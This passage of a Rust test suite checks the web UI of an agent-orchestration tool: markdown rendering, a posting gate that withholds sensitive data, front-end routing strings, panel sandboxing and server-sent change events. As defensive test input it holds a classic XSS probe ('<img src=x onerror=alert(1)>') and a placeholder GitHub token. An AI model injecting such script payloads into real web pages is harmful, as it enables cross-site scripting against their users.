17751 let mut state = RunState::new(
17752 std::path::PathBuf::from("/repo"),
17753 "main".to_owned(),
17754 "abc".to_owned(),
17755 "x".to_owned(),
17756 crate::config::Config::default(),
17757 );
17758 let proposal = |approach: &str| {
17759 serde_json::json!({
17760 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17761 })
17762 };
17763 state.advice = Some(
17764 serde_json::from_value(serde_json::json!({
17765 "records": [
17766 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17767 "proposal": proposal("do **this**")},
17768 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17769 ],
17770 "synthesis": "- one\n- **two**\n\n`code`",
17771 }))
17772 .unwrap(),
17773 );
17774 state.candidates = serde_json::from_value(serde_json::json!([
17775 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17776 "summary": "did **it**"},
17777 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17778 ]))
17779 .unwrap();
17780 state.reviews = serde_json::from_value(serde_json::json!([{
17783 "round": 1, "head": "h",
17784 "reviews": [{
17785 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17786 "findings": [
17787 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17788 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17789 ],
17790 }],
17791 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17792 "fix": {"agent": "a", "notes": "fixed **it**",
17793 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17794 }, {"round": 2, "head": "h2", "reviews": []}]))
17795 .unwrap();
17796
17797 let v = serde_json::to_value(RunDetailView::of(
17798 state,
17799 false,
17800 crate::run::Liveness::Unknown,
17801 None,
17802 None,
17803 None,
17804 ))
17805 .unwrap();
17806
17807 let strong = |p: &str| {
17808 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17809 assert!(n.to_string().contains("strong"), "{p}: {n}");
17810 };
17811 strong("/advice_md/synthesis");
17812 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17813 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17814 strong("/advice_md/approaches/0");
17815 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17816 strong("/candidate_summaries_md/0");
17817 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17818 strong("/reviews_md/0/reviewers/0/summary");
17819 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17820 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17821 assert!(f[1].to_string().contains("strong"));
17822 strong("/reviews_md/0/reconsideration/0");
17823 strong("/reviews_md/0/fix/notes");
17824 strong("/reviews_md/0/fix/rejected/0");
17825 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17826 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17827 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17829 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17830 }
17831
17832 #[test]
17833 fn a_run_without_advice_has_no_advice_md() {
17834 let state = RunState::new(
17835 std::path::PathBuf::from("/repo"),
17836 "main".to_owned(),
17837 "abc".to_owned(),
17838 "x".to_owned(),
17839 crate::config::Config::default(),
17840 );
17841 let p = run_prose_md(&state);
17842 assert!(p.advice_md.is_none());
17843 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17844 }
17845
17846 #[test]
17847 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17848 let store = ask::Questions::at(PathBuf::from("unused"));
17849 let gt = crate::github_text::Withheld {
17850 title: false,
17851 body: true,
17852 categories: vec!["sensitive-data".into()],
17853 };
17854 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17855 let (detail, comparison) =
17856 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17857 let mut q = Question::new(
17858 "r".into(),
17859 "github-text".into(),
17860 "posting-gate".into(),
17861 "s".into(),
17862 detail,
17863 Vec::new(),
17864 );
17865 assert!(
17866 QuestionView::of(q.clone(), &store, None)
17867 .posting_view
17868 .is_none()
17869 );
17870 q.posting_comparison = Some(comparison);
17871 let view = QuestionView::of(q.clone(), &store, None);
17872 let field = &view.posting_view.unwrap().fields[0];
17873 assert_eq!(
17874 field
17875 .original
17876 .iter()
17877 .map(|f| f.text.as_str())
17878 .collect::<String>(),
17879 body
17880 );
17881 assert!(field.original[0].text.starts_with("<img"));
17882 let original_question: Question =
17883 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17884 assert_eq!(original_question, q);
17885 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17886 .original
17887 .start = 1;
17888 assert!(
17889 QuestionView::of(q.clone(), &store, None)
17890 .posting_view
17891 .is_none()
17892 );
17893 q.posting_comparison = original_question.posting_comparison;
17894 q.detail.push_str("extra context");
17895 assert!(
17896 QuestionView::of(q.clone(), &store, None)
17897 .posting_view
17898 .is_some()
17899 );
17900 q.detail.insert(0, 'x');
17901 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
17902 }
17903
17904 #[test]
17905 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17906 let store = ask::Questions::at(PathBuf::from("unused"));
17907 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17908 let gt = crate::github_text::Withheld::from_check(
17909 &crate::github_text::check("fix: x", body),
17910 "fix: x",
17911 body,
17912 )
17913 .unwrap();
17914 let (detail, comparison) =
17915 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17916 let mut q = Question::new(
17917 "r".into(),
17918 "github-text".into(),
17919 "posting-gate".into(),
17920 "s".into(),
17921 detail,
17922 Vec::new(),
17923 );
17924 q.posting_comparison = Some(comparison);
17925 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
17926 let field = &value["posting_view"]["fields"][0];
17927 let group = &field["replacement_group"];
17928 let triggers = group["triggers"].as_array().unwrap();
17929 assert_eq!(triggers.len(), 2);
17930 assert_ne!(triggers[0], triggers[1]);
17931 for id in triggers {
17932 assert!(
17933 field["original"]
17934 .as_array()
17935 .unwrap()
17936 .iter()
17937 .any(|f| &f["pair"] == id)
17938 );
17939 assert!(
17940 !field["changed"]
17941 .as_array()
17942 .unwrap()
17943 .iter()
17944 .any(|f| &f["pair"] == id)
17945 );
17946 }
17947 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17948 group["id"].as_u64().unwrap() as usize;
17949 assert!(
17950 QuestionView::of(q, &store, None).posting_view.is_none(),
17951 "group and trigger IDs cannot collide"
17952 );
17953 }
17954
17955 #[test]
17956 fn a_question_view_carries_markdown_for_each_thread_turn() {
17957 let home = TempDir::new().unwrap();
17958 let store = ask::Questions::at(home.path().join("questions"));
17959 let mut q = Question::new(
17960 "run".to_owned(),
17961 "implement".to_owned(),
17962 "impl-A".to_owned(),
17963 "which?".to_owned(),
17964 String::new(),
17965 Vec::new(),
17966 );
17967 q.say("plain words").unwrap();
17968 q.reply("use **this**", Vec::new()).unwrap();
17969 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17970 let bodies = &v["thread_bodies_md"];
17971 assert_eq!(bodies.as_array().unwrap().len(), 2);
17972 assert!(!bodies[0].to_string().contains("strong"));
17973 assert!(bodies[1].to_string().contains("strong"));
17974 }
17975
17976 #[test]
17977 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17978 let home = TempDir::new().unwrap();
17979 let store = ask::Questions::at(home.path().join("questions"));
17980 let mut q = Question::new(
17981 "run".to_owned(),
17982 "conduct".to_owned(),
17983 "conduct".to_owned(),
17984 "which?".to_owned(),
17985 String::new(),
17986 Vec::new(),
17987 );
17988 q.say("plain words").unwrap();
17989 q.thread.push(ask::Turn {
17990 who: ask::Who::Agent,
17991 body: "Settled as `merge`".to_owned(),
17992 at: jiff::Timestamp::now(),
17993 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17994 });
17995 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17996 let notes = &v["thread_notes_md"];
17997 assert_eq!(notes.as_array().unwrap().len(), 2);
17998 assert!(notes[0].is_null());
17999 let text = notes[1].to_string();
18000 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18001 assert!(APP_JS.contains("ask-turn-note"));
18002 }
18003
18004 #[test]
18005 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18006 assert!(APP_JS.contains("function landView(run, raw) {"));
18010 assert!(
18011 APP_JS.contains(
18012 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18013 )
18014 );
18015 assert!(APP_JS.contains("const pr = landView(run, raw);"));
18016 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18017 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18018 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18019 }
18020
18021 #[test]
18022 fn live_runs_are_never_hidden_or_folded_as_superseded() {
18023 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
18024 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18025 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18026 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18027 }
18028
18029 #[test]
18030 fn review_rounds_label_a_distinct_verified_head() {
18031 assert!(APP_JS.contains("round.verified_head"));
18032 assert!(APP_JS.contains("verified HEAD"));
18033 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18034 }
18035
18036 #[test]
18037 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18038 assert!(APP_JS.contains("blocked: { glyph:"));
18042 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18043
18044 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18048 assert!(
18049 APP_JS.contains(
18050 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18051 ),
18052 "the note line must name what a blocked task is waiting on, not just that it is blocked"
18053 );
18054 assert!(APP_JS.contains("if (status === \"blocked\") {"));
18058
18059 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18063 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18064 assert!(
18065 APP_JS.contains("location.hash = \"#/questions\";"),
18066 "a question node must jump to the Questions screen, not pretend to be a task"
18067 );
18068
18069 assert!(APP_JS.contains("Resolved questions"));
18072 assert!(APP_JS.contains("r.answersList.append("));
18073 assert!(APP_CSS.contains(".task-answers"));
18074 {
18075 let start = APP_JS
18076 .find("function updateTalkTaskRow")
18077 .expect("updateTalkTaskRow");
18078 let body = &APP_JS[start..];
18079 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18080 assert!(
18081 body.contains(
18082 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18083 ),
18084 "a chat-filed task row must link to the task page"
18085 );
18086 assert!(
18087 !body.contains("#/runs/") && !body.contains("#/queue/"),
18088 "the row must not branch to a run or the queue card"
18089 );
18090 assert!(APP_CSS.contains(".talk-task-link"));
18091 }
18092 }
18093
18094 #[test]
18095 fn a_task_notification_links_to_the_task_page() {
18096 let start = APP_JS
18098 .find("function noticeLink(")
18099 .expect("noticeLink exists");
18100 let body = &APP_JS[start..];
18101 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18102 assert!(
18103 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18104 "a task notice's link must target the task page"
18105 );
18106 assert!(
18107 !body.contains("#/queue/"),
18108 "regression: the task link must not go back to the Backlog route"
18109 );
18110 assert!(
18111 APP_JS.contains(
18112 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18113 ),
18114 "`#/tasks/<id>` must parse into the task route"
18115 );
18116
18117 assert!(
18119 APP_JS.contains(
18120 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18121 ),
18122 "`#/queue/<id>` must parse into a route carrying that id"
18123 );
18124
18125 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18129 assert!(APP_JS.contains("function consumeQueueFocus()"));
18130 assert!(APP_JS.contains("jumpToTask(id)"));
18131 }
18132
18133 #[test]
18134 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18135 let start = APP_JS
18136 .find("function noticeCoveredBy(")
18137 .expect("noticeCoveredBy exists");
18138 let body = &APP_JS[start..];
18139 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18140
18141 assert!(body.contains("q.status === \"open\""));
18143 assert!(body.contains("href: \"#/questions\""));
18144 assert!(body.contains("Answer in question"));
18145
18146 assert!(body.contains("(resolved)"));
18148 assert!(body.contains("(closed)"));
18149 }
18150
18151 #[test]
18154 fn chat_rows_put_the_title_alone_on_the_first_line() {
18155 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18156 assert!(APP_CSS.contains(
18157 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18158 ));
18159 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18160 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18161 }
18162
18163 #[test]
18164 fn run_rows_put_the_title_alone_on_the_first_line() {
18165 assert!(
18166 APP_CSS.contains(
18167 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18168 )
18169 );
18170 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18171 assert!(APP_JS.contains("class: \"card run-card\""));
18172 assert!(APP_JS.contains("class: \"repo run-id\""));
18173 }
18174
18175 #[test]
18179 fn wide_screens_show_list_and_preview_side_by_side() {
18180 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18182 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18183 assert!(APP_CSS.contains("main[data-split]"));
18184 assert!(APP_CSS.contains("body[data-split]"));
18185
18186 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18188 assert!(
18189 APP_JS.contains(
18190 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18191 )
18192 );
18193 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18194 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18195 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18196
18197 assert!(APP_JS.contains("function markSelected() {"));
18199 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18200 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18201 assert!(
18203 APP_CSS.contains(
18204 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18205 )
18206 );
18207
18208 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18210 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18211 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18212 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18213
18214 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18218 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18219 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18220 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18221
18222 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18224 }
18225
18226 #[test]
18227 fn panel_sandbox_carries_exactly_popups() {
18228 let needle = "sandbox: \"";
18229 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18230 assert_eq!(
18231 matches.len(),
18232 1,
18233 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18234 );
18235 let start = matches[0].0 + needle.len();
18236 let end = APP_JS[start..]
18237 .find('"')
18238 .expect("sandbox attribute value must be terminated by a closing quote");
18239 let val = &APP_JS[start..start + end];
18240 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18241 let expected: std::collections::BTreeSet<&str> =
18242 ["allow-popups", "allow-popups-to-escape-sandbox"]
18243 .into_iter()
18244 .collect();
18245 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18246 assert!(
18247 !tokens.contains("allow-scripts"),
18248 "allow-scripts must never be present in sandbox"
18249 );
18250 assert!(
18251 !tokens.contains("allow-same-origin"),
18252 "allow-same-origin must never be present in sandbox"
18253 );
18254 }
18255
18256 #[test]
18257 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18258 assert!(
18267 APP_JS.contains(
18268 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18269 ),
18270 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18271 recursive renderQueue() call has nothing left to jump to"
18272 );
18273 assert!(
18274 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18275 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18276 arrives later still gets it"
18277 );
18278 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18279 assert!(APP_JS.contains("is not in the current Backlog."));
18280 assert!(APP_JS.contains("li.card[data-task-id=\""));
18281 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18282 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18283 assert!(APP_CSS.contains(".card-permalink"));
18284 assert!(APP_CSS.contains(".queue-focus-status"));
18285 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18286 }
18287
18288 #[test]
18289 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18290 assert!(
18298 APP_JS.contains(
18299 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18300 ),
18301 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18302 );
18303 }
18304
18305 #[test]
18306 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18307 assert!(
18308 APP_JS.contains("round.verified_head !== round.head"),
18309 "a round that verified an earlier commit must be visibly distinct from one that \
18310 verified the head reviewers are looking at now"
18311 );
18312 assert!(
18313 APP_JS.contains("round.verified_at"),
18314 "when a check ran must be on the wire, not just which commit"
18315 );
18316 assert!(
18317 APP_JS.contains("resource_blocked"),
18318 "a command magi never got to run (shared build cache contention) must not render \
18319 the same as a command that ran and failed"
18320 );
18321 }
18322
18323 #[test]
18324 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18325 assert!(
18333 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18334 "every KPI tile built through statusTile() must route its click through \
18335 openRunsFiltered, the single place that sets the Runs filter"
18336 );
18337 for (label, status) in [
18338 ("Merged", "merged"),
18339 ("Ready", "ready"),
18340 ("Blocked", "blocked"),
18341 ("Stalled", "stalled"),
18342 ] {
18343 let call = format!("statusTile(\"{label}\", t.{status}, ");
18344 assert!(
18345 APP_JS.contains(&call),
18346 "expected the {label} KPI tile built via {call}..."
18347 );
18348 assert!(
18349 APP_JS.contains(&format!("status === \"{status}\"")),
18350 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18351 compare a run against, not one invented only for the stats tile"
18352 );
18353 }
18354 assert!(
18355 APP_JS.contains("function openRunsFiltered(status)"),
18356 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18357 );
18358 assert!(
18359 APP_JS.contains(
18360 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18361 ),
18362 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18363 );
18364 assert!(
18372 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
18373 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18374 hashchange event that may never fire"
18375 );
18376 }
18377
18378 #[test]
18379 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18380 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18386 assert!(
18387 APP_JS.contains(
18388 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
18389 ),
18390 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18391 guard for an incompatible tree section"
18392 );
18393 }
18394
18395 #[test]
18396 fn every_stats_queue_tile_names_a_real_queue_section() {
18397 assert!(
18403 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18404 "every queue tile built through sectionTile() must route its click through \
18405 openQueueSectionFocus"
18406 );
18407 for key in ["upnext", "running", "done", "held", "blocked"] {
18408 assert!(
18409 APP_JS.contains(&format!("{{ key: \"{key}\",")),
18410 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18411 );
18412 }
18413 for line in [
18417 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18418 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18419 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18420 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18421 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18422 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18423 ] {
18424 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18425 }
18426 }
18427
18428 #[test]
18429 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18430 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18437 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18438 assert!(APP_JS.contains("function revealQueueSection(details)"));
18439 assert!(
18440 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
18441 "renderQueue() must consume both focus channels on every pass"
18442 );
18443 assert!(
18444 APP_JS.contains(
18445 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
18446 ),
18447 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18448 the recursive renderQueue() call has nothing left to reveal"
18449 );
18450 assert!(
18451 APP_JS.contains(
18452 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
18453 ),
18454 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18455 );
18456 assert!(
18464 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
18465 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18466 hashchange event that may never fire"
18467 );
18468 }
18469
18470 #[tokio::test]
18471 async fn the_change_stream_announces_the_current_revisions_on_connect() {
18472 let f = Fixture::start().await;
18473
18474 let mut socket = tokio::net::TcpStream::connect(f.addr)
18475 .await
18476 .expect("connect");
18477 socket
18478 .write_all(
18479 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18480 )
18481 .await
18482 .expect("write request");
18483
18484 let mut seen = String::new();
18487 let mut buf = [0u8; 1024];
18488 while !seen.contains("event: change") {
18489 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18490 .await
18491 .expect("the stream must speak within five seconds")
18492 .expect("read");
18493 assert!(read > 0, "the server closed the change stream: {seen}");
18494 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18495 }
18496
18497 assert!(
18498 seen.to_lowercase()
18499 .contains("content-type: text/event-stream"),
18500 "the browser only reconnects automatically for a real SSE stream: {seen}"
18501 );
18502 let data = seen
18503 .lines()
18504 .find_map(|l| l.strip_prefix("data:"))
18505 .expect("a data line");
18506 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18507 assert!(
18508 payload["queue_rev"].is_u64()
18509 && payload["runs_rev"].is_u64()
18510 && payload["questions_rev"].is_u64()
18511 && payload["talks_rev"].is_u64()
18512 && payload["notifications_rev"].is_u64()
18513 && payload["loop_rev"].is_u64(),
18514 "the client needs one revision per store to know what to refetch, \
18515 and `talks_rev` is the only notification a standing talk gets - a \
18516 phone whose radio slept through a turn learns about it here, as \
18517 does one whose operator started the loop from another device: \
18518 {payload}"
18519 );
18520
18521 let health = f.get("/api/health").await.json();
18528 for key in [
18529 "queue_rev",
18530 "runs_rev",
18531 "questions_rev",
18532 "talks_rev",
18533 "notifications_rev",
18534 "loop_rev",
18535 ] {
18536 assert!(
18537 health[key].is_u64(),
18538 "health is the change stream's fallback and is missing `{key}`: {health}"
18539 );
18540 }
18541 }
18542
18543 #[tokio::test]
18544 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18545 let f = Fixture::start().await;
18546 let before = f.get("/api/health").await.json()["talks_rev"]
18547 .as_u64()
18548 .expect("talks_rev");
18549
18550 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18551 std::thread::sleep(Duration::from_millis(10));
18552 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18553 on_disk.turns.push(crate::talk::Turn {
18554 sender: None,
18555 breaks: Some(Vec::new()),
18556 messages: Vec::new(),
18557 posted_by: None,
18558 who: crate::talk::Who::Operator,
18559 body: "a new turn".to_owned(),
18560 at: Timestamp::now(),
18561 attachments: Vec::new(),
18562 usage: None,
18563 });
18564 f.talks().put(&mut on_disk).expect("record a turn");
18565
18566 let after = f.get("/api/health").await.json()["talks_rev"]
18567 .as_u64()
18568 .expect("talks_rev");
18569 assert_ne!(
18570 before, after,
18571 "a phone must be able to notice a talk's reply without polling every store"
18572 );
18573 }
18574
18575 #[test]
18576 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18577 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18581 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18582 }
18583 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18584 assert!("everywhere".parse::<Bind>().is_err());
18585 }
18586
18587 #[test]
18588 fn an_explicit_bind_address_is_taken_verbatim() {
18589 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18590
18591 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18592
18593 assert_eq!(addr, asked);
18594 assert!(
18595 warning.is_none(),
18596 "an operator who named an address gets no lecture"
18597 );
18598 }
18599
18600 #[test]
18601 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18602 let (addr, warning) = resolve_bind(&Bind::Auto);
18603
18604 match addr {
18611 IpAddr::V4(ip) if is_tailnet(&ip) => {
18612 assert!(warning.is_none(), "a tailnet address needs no warning");
18613 }
18614 other => {
18615 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18616 let warning = warning.expect("a fallback has to explain itself");
18617 assert!(
18618 warning.contains("127.0.0.1") && warning.contains("local-only"),
18619 "the warning says what happened and what it costs: {warning}"
18620 );
18621 }
18622 }
18623 }
18624
18625 #[test]
18626 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18627 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18631 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18632 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18633 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18634 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18635 }
18636
18637 #[test]
18638 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18639 let ids = vec![
18640 "20260902-140501-aaaa".to_owned(),
18641 "20260902-140502-aabb".to_owned(),
18642 ];
18643
18644 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18645 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18646 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18647
18648 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18649 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18650 assert_eq!(short, "20260902-140502-aabb");
18651 }
18652 #[tokio::test]
18653 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18654 let fx = Fixture::start().await;
18660 let id = panel(
18661 &fx,
18662 "<img src=\"shot.png\">",
18663 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18664 );
18665
18666 let doc = fx
18668 .get(&format!("/api/questions/{id}/panel/index.html"))
18669 .await;
18670 assert_eq!(doc.status, 200, "{}", doc.body);
18671 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18672
18673 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18674 assert_eq!(sibling.status, 200, "{}", sibling.body);
18675 assert_eq!(sibling.header("content-type"), Some("image/png"));
18676 assert_eq!(
18677 sibling.header("content-security-policy"),
18678 Some(PANEL_CSP),
18679 "the sibling route must carry the same policy as the asset route"
18680 );
18681
18682 assert_eq!(
18685 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18686 200
18687 );
18688 }
18689
18690 #[test]
18691 fn delta_stamps_cover_add_update_remove_and_noop() {
18692 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18693 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18694 let delta = diff_stamps(&before, &after, 42);
18695 assert_eq!(delta.base, 42);
18696 assert_eq!(delta.changed, ["b", "c"]);
18697 assert_eq!(delta.removed, ["a"]);
